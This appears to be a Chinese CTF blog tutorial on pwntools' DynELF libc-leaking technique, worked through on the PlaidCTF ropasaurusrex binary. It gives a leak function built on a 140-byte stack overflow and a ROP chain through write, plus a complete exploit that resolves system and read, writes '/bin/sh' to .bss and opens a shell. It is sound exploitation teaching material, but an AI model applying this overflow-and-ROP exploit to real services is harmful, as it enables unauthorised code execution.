DynELF

我用三生的期许 换回三世相思雨
三千浮沉里的你 迷失轮回的自己


简介

对于不同版本的libc,函数首地址相对于文件开头的偏移和函数间的偏移不一定一致;如果题目不提供libc,我们通过泄露任意一个库函数地址计算出system函数地址的方法可能就不太方便了,所以这就要求我们想办法获取目标系统的libc
这里介绍一种远程获取libc的方法,叫做DynELF,这是pwntools在早期版本就提供了一个解决方案——DynELF类;
通俗地讲,DynELF就是通过程序漏洞泄露出任意地址内容,结合ELF文件的结构特征获取对应版本文件并计算对比出目标符号在内存中的地址


模板

1
2
3
4
5
6
7
8
9
10
11
p = remote(ip, port)

def leak(addr):
payload2leak_addr = “****” + pack(addr) + “****”
p.send(payload2leak_addr)
data = p.recv()
return data

d = DynELF(leak, pointer = pointer_into_ELF_file, elf = ELFObject)
system_addr = d.lookup('system', 'libc')
read_add = d.lookup('read','libc')

局限

使用DynELF时,我们需要使用一个leak函数作为必选参数,指向ELF文件的指针或者使用ELF类加载的目标文件至少提供一个作为可选参数,以初始化一个DynELF类的实例d。然后就可以通过这个实例d的方法lookup来搜寻libc库函数了;
其中,leak函数需要使用目标程序本身的漏洞泄露出由DynELF类传入的int型参数addr对应的内存地址中的数据。且由于DynELF会多次调用leak函数,这个函数必须能任意次使用,即不能泄露几个地址之后就导致程序崩溃。由于需要泄露数据,payload中必然包含着打印函数,如write, puts, printf等;
而通过实践发现write函数是最理想的,因为write函数的特点在于其输出完全由其参数size决定,只要目标地址可读,size填多少就输出多少,不会受到诸如‘\0’, ‘\n’之类的字符影响;而puts, printf函数会受到诸如‘\0’, ‘\n’之类的字符影响,在对数据的读取和处理有一定的难度


例子

我们以2013-PlaidCTF-ropasaurusrex这个实例来看看DynELF方法的使用,以及write函数在DynELF方法中的用法
我们先checksec检查其保护机制:

1
2
3
4
5
6
7
sir@sir-PC:/2013-PlaidCTF-ropasaurusrex$ checksec ropasaurusrex
[*] '/2013-PlaidCTF-ropasaurusrex/ropasaurusrex'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

现在我们看看write函数能不能在程序中实现任意地址的读取打印,通过测试我们可以知道栈溢出到EIP需要140个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Python 2.7.15 (default, May  1 2018, 05:55:50) 
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> p = process('./ropasaurusrex')
[x] Starting local process './ropasaurusrex'
[+] Starting local process './ropasaurusrex': pid 21128
>>> elf = ELF('./ropasaurusrex')
[*] '/2013-PlaidCTF-ropasaurusrex/ropasaurusrex'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
>>> payload = 'a'*140 + p32(elf.plt['write']) + p32(0) + p32(1) + p32(0x8048000) + p32(8)
>>> p.sendline(payload)
>>> p.recv()
[*] Process './ropasaurusrex' stopped with exit code -11 (SIGSEGV) (pid 21128)
'\x7fELF\x01\x01\x01\x00' #这里很明显可以读取到0x8048000位置的内容
>>>

所以我们的leak函数可以这样写:

1
2
3
4
5
6
7
def leak(addr):
payload = 'a'*140 + p32(elf.plt['write']) + p32(start_addr)
payload+= p32(1) + p32(addr) + p32(8)
p.sendline(payload)
context = p.recv(8)
print("%#x -> %s" %(addr, (context or '').encode('hex')))
return context

因为程序当中没有”/bin/sh”字符串,所以我们不仅需要system函数泄露出来,还需要将read函数泄露出来,方便我们写入字符串

1
2
3
4
5
d = DynELF(leak,elf = elf)
system_addr = d.lookup('system','libc')
read_addr = d.lookup('read','libc')
print "system_addr: " + hex(system_addr)
print "read_addr: " + hex(read_addr)


EXP

所以exp就这样写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
pro = './ropasaurusrex'
p = process(pro)
elf = ELF(pro)
start_addr = 0x8048340

def leak(addr):
payload = 'a'*140 + p32(elf.plt['write']) + p32(start_addr)
payload+= p32(1) + p32(addr) + p32(8)
p.sendline(payload)
context = p.recv(8)
print("%#x -> %s" %(addr, (context or '').encode('hex')))
return context
d = DynELF(leak,elf = elf)
system_addr = d.lookup('system','libc')
read_addr = d.lookup('read','libc')
print "system_addr: " + hex(system_addr)
print "read_addr: " + hex(read_addr)

p.sendline('a'*140 + p32(read_addr) + p32(system_addr) + p32(0) + p32(elf.bss()+100) + p32(8))
p.sendline('/bin/sh\x00')
p.interactive()


小结

DynELF泄露函数方法最方便的使用情况是程序中最好含有write函数且可以多次调用main函数,不然的话还是用LibcSearcher的方法泄露比较好吧,不然太麻烦了……

文章目录
  1. 1. 简介
  2. 2. 模板
  3. 3. 局限
  4. 4. 例子
  5. 5. EXP
  6. 6. 小结
,